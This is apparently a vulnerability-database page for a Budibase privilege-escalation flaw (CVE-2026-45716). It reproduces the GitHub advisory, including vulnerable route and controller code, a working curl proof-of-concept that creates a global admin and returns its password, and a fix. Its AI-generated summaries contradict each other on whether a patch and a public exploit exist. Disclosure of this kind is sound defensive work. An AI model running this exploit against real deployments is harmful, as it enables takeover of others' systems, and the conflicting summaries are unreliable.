Skip to main content

Budibase EUVDEUVD-2026-32602

| CVE-2026-45716 HIGH
Improper Privilege Management (CWE-269)
2026-05-18 https://github.com/Budibase/budibase GHSA-c54j-xp92-wh28
8.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Compromise or obtain builder account
  2. Delivery
    Authenticate to /api/global/auth/default/login
  3. Exploit
    POST crafted onboard payload with admin.global=true
  4. Execution
    Receive generated admin password in response
  5. Persist
    Login as new global admin
  6. Impact
    Access all apps, datasources, and tenant data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V8 - Authorization Least privilege enforcement
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires (1) a self-hosted Budibase deployment where SMTP is not configured - this is the default for self-hosted installs and the branch that triggers the vulnerable direct bulkCreate path; (2) a valid authenticated session for a user holding global builder permissions (PR:L per CVSS), obtainable through legitimate role assignment or credential compromise; (3) network reachability to the worker service's /api/global/users/onboard endpoint. Limiting factors: Budibase Cloud and self-hosted instances with SMTP configured route through the admin-only inviteMultiple path and are not exploitable; pure end-user/app-only accounts without the global builder flag cannot pass the workspaceBuilderOrAdmin middleware; and versions 3.38.1 and later remove the endpoint entirely.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H scores 8.8 and accurately reflects the threat: network-reachable, low complexity, requires only a low-privileged builder account, no user interaction, and yields full confidentiality, integrity, and availability impact through global admin takeover. There is no EPSS, KEV, or independent POC telemetry supplied, but the GHSA advisory itself publishes a step-by-step exploitation recipe, so the practical exploit barrier is effectively zero for anyone with a builder seat on a default self-hosted deployment. The main limiter is the PR:L requirement plus the SMTP-unconfigured precondition; however, Budibase's self-hosted default ships without SMTP, so in practice this is a one-request escalation for any insider or compromised builder credential and should be treated as a real, high-priority issue rather than a CVSS-inflated finding.

Exploit ScenarioDerived

A disgruntled or compromised builder-level user on a self-hosted Budibase instance authenticates normally, then sends a single POST to /api/global/users/onboard with a JSON body of [{"email":"attacker@example.com","userInfo":{"admin":{"global":true}}}]. The server returns the new account's 12-character generated password in the response body, and the attacker logs in as global admin to access every app, datasource, and tenant configuration. A public proof-of-concept (curl chain) is included in the GHSA advisory itself.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 18, 2026

Privilege escalation in self-hosted Budibase (@budibase/worker < 3.38.1) allows any authenticated builder-level user to create a global admin account via the POST /api/global/users/onboard endpoint when SMTP is not configured, with the generated password returned directly in the HTTP response. The flaw stems from the onboard route being gated by builderOrAdmin middleware while exposing the same user-creation power as the admin-only invite endpoints, and no public exploit is identified at time of analysis although the GHSA advisory includes a complete, working proof-of-concept curl chain.

RemediationAI

Vendor-released patch: 3.38.1 - upgrade @budibase/worker (and the full Budibase stack) to 3.38.1 or later, per the release notes which include PR #18752 'Remove unused global user onboarding endpoint' (https://github.com/Budibase/budibase/releases/tag/3.38.1 and https://github.com/Budibase/budibase/security/advisories/GHSA-c54j-xp92-wh28). If immediate patching is not possible, block or reverse-proxy-deny POST requests to /api/global/users/onboard at an upstream proxy (nginx, Traefik, or a WAF), accepting that this disables the onboarding flow but has no impact on normal invite-based provisioning; alternatively, configure SMTP on the instance so the controller routes through the admin-only inviteMultiple path, with the trade-off that this requires a working mail relay and does not address the underlying authorization mismatch. Audit existing global admin accounts and recent user-creation activity for unexpected entries and rotate credentials for any suspicious admins, since the created users look legitimately onboarded.

Affected VersionsENISA

budibase < 3.38.1

Affected Packages

npm @budibase/worker fix: 3.38.1
euvd budibase fix: 3.38.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Budibase is a Node.js/TypeScript low-code application platform; the affected component is the npm package @budibase/worker, which handles global user, tenant, and authentication APIs. The root cause is CWE-269 (Improper Privilege Management): the onboardUsers controller branches on isEmailConfigured() and, when SMTP is unset, calls userSdk.db.bulkCreate directly with attacker-controlled admin.global and builder fields from the request body. The buildInviteMultipleValidation Joi schema treats userInfo as an unconstrained optional object, and the workspaceBuilderOrAdmin middleware short-circuits to a builder-only check when no workspaceId is present in the worker context, so the privilege boundary that protects /invite and /multi/invite is absent on /onboard.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionGitHub Advisory

Summary

The POST /api/global/users/onboard endpoint is protected by workspaceBuilderOrAdmin middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via bulkCreate, accepting arbitrary admin and builder role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation.

Details

The vulnerability stems from a mismatch between the authorization level of the onboardUsers endpoint and the user-creation capabilities it exposes when SMTP is not configured.

Route definition (packages/worker/src/api/routes/global/users.ts:93-109):

typescript
builderOrAdminRoutes  // <-- allows builders, not just admins
  .post(
    "/api/global/users/onboard",
    buildInviteMultipleValidation(),
    controller.onboardUsers
  )

Compare with the invite and inviteMultiple endpoints which are correctly admin-only:

typescript
adminRoutes  // <-- admin only
  .post("/api/global/users/invite", buildInviteValidation(), controller.invite)
  .post("/api/global/users/multi/invite", buildInviteMultipleValidation(), controller.inviteMultiple)

Controller (packages/worker/src/api/controllers/global/users.ts:601-630):

typescript
export const onboardUsers = async (ctx) => {
  if (await isEmailConfigured()) {
    await inviteMultiple(ctx)  // admin-only path (delegates to invite flow)
    return
  }

  // No SMTP → directly create users with attacker-controlled roles
  const users = ctx.request.body.map(invite => {
    const password = generatePassword(12)
    createdPasswords[invite.email] = password
    return {
      email: invite.email,
      password,
      forceResetPassword: true,
      roles: invite.userInfo.apps || {},
      admin: { global: !!invite.userInfo.admin },  // <-- attacker-controlled
      builder: invite.userInfo.builder,              // <-- attacker-controlled
      tenantId: tenancy.getTenantId(),
    }
  })

  let resp = await userSdk.db.bulkCreate(users)
  for (const user of resp.successful) {
    user.password = createdPasswords[user.email]  // <-- password returned!
  }
  ctx.body = { ...resp, created: true }
}

Middleware pass-through (packages/backend-core/src/middleware/workspaceBuilderOrAdmin.ts:10-26):

In the worker context (env.isWorker() is true), when there is no workspaceId parameter in the request (which there isn't for the onboard endpoint), the middleware at line 19 checks !workspaceId && env.isWorker() - this is true, so it falls through to line 21 which only checks hasBuilderPermissions. Any global builder passes.

Validation gap (buildInviteMultipleValidation at line 37-45): The Joi schema validates userInfo as Joi.object().optional() with no constraints on its contents, so admin and builder fields pass through.

No downstream check: bulkCreate and buildUser do not strip or validate admin/builder fields - they are written directly to the user document in CouchDB.

PoC

Prerequisites: A self-hosted Budibase instance (default: no SMTP configured) and a user account with builder-level access.

Step 1: Authenticate as a builder user and obtain the session cookie:

bash
# Login as builder
curl -s -c cookies.txt -X POST 'http://localhost:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"builder@example.com","password":"builderpassword"}'

Step 2: Create a new global admin user via the onboard endpoint:

bash
curl -s -X POST 'http://localhost:10000/api/global/users/onboard' \
  -H 'Content-Type: application/json' \
  -b cookies.txt \
  -d '[{"email":"pwned-admin@attacker.com","userInfo":{"admin":{"global":true}}}]'

Expected response (includes the generated password):

json
{
  "successful": [{"email":"pwned-admin@attacker.com","password":"<generated-12-char-password>","admin":{"global":true},...}],
  "unsuccessful": [],
  "created": true
}

Step 3: Login as the new admin:

bash
curl -s -X POST 'http://localhost:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"pwned-admin@attacker.com","password":"<password-from-step-2>"}'

The attacker now has full global admin access.

Impact

  • Privilege escalation: Any builder-level user can escalate to global admin on self-hosted Budibase instances without SMTP configured (the default deployment).
  • Full platform compromise: Global admin can access all apps, all data sources, manage all users, delete apps, and modify platform configuration.
  • Credential exposure: The generated password is returned in the HTTP response, giving the attacker immediate access to the new admin account.
  • Stealth: The created user appears as a legitimately onboarded user, making detection difficult without audit log review.
  • Wide applicability: Self-hosted Budibase instances commonly run without SMTP configuration, making this the default-exploitable path.

Recommended Fix

Move the onboardUsers route from builderOrAdminRoutes to adminRoutes to match the authorization level of invite and inviteMultiple:

diff
--- a/packages/worker/src/api/routes/global/users.ts
+++ b/packages/worker/src/api/routes/global/users.ts
-builderOrAdminRoutes
+adminRoutes
   .post(
     "/api/global/users/onboard",
     buildInviteMultipleValidation(),
     controller.onboardUsers
   )

Additionally, the onboardUsers controller should validate that the caller has sufficient permissions to assign the requested role level. Even admin users should not be able to create users with roles exceeding their own. Consider adding explicit validation in the controller:

typescript
// In onboardUsers, before bulkCreate:
for (const invite of ctx.request.body) {
  if (invite.userInfo.admin && !ctx.user.admin?.global) {
    ctx.throw(403, "Only admins can create admin users")
  }
}

Executive ViewAI

Why It Matters

Budibase self-hosted deployments running versions prior to 3.38.1 contain a privilege escalation vulnerability allowing any authenticated builder-level user to create global administrator accounts. Publicly available exploit code exists. When SMTP is not configured, the admin password is returned directly in the HTTP response, enabling immediate unauthorized access with full platform control. This threatens confidentiality and integrity of all data managed within affected deployments.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Enable SMTP configuration to prevent plaintext password exposure in HTTP responses, (2) Restrict builder-level role assignments to trusted users, (3) Implement endpoint-level access controls and monitoring for /api/global/users/onboard, (4) Enable comprehensive audit logging for user creation and administrative role assignments, (5) Conduct immediate review of all global administrator accounts for signs of unauthorized creation.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy